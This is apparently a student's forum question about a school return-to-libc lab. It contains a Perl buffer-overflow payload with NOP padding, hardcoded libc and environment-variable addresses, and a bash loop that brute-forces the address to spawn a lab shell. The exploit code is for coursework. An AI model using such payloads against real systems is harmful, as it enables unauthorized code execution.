For school we have to perform a return-to-libc exploit. Doing this, we need to spawn a shell from /bin/xh which will print a message that we succeeded with our exploit.
To do this exploit, I used this script to get in
$(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x25\xf9\xff\xbf"')
\x25\xf9\xff\xbf points to an environment variable that I inserted myself through using the "export" command, the SHELLMINE=/bin/xh string to be exact. Using the string of the normal bash shell isn't useful as it won't get me into the shell that prints the succession text. Of course, I'm aware that the variable addresses changes from time to time so the "\x25" part is changed when needed.
This script works when used directly into the terminal.
Now the problem is the fact that it won't work when used from a bash script. This is because the environment variables that are used when executing the script is in a different place. I tried using a debugger which gets executed from the script and looking for the address there but with the found address it doesn't work either
This is the code I got
for i in `seq 192 239`;
do
number=$(printf "%02x" "$i");
export SHELLMINE=/bin/xh
echo "$number"
echo "'print \x90 x (789) . \x60\xb0\xe6\xb7 . \xe0\xeb\xe5\xb7 . \x$number\xf8\xff\xbf '"
$lev $(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x'"$number"'\xf8\xff\xbf" ')
done
Basically what I need is a way to get the address of the environment variable or a better way to insert the string to be used in the exploit.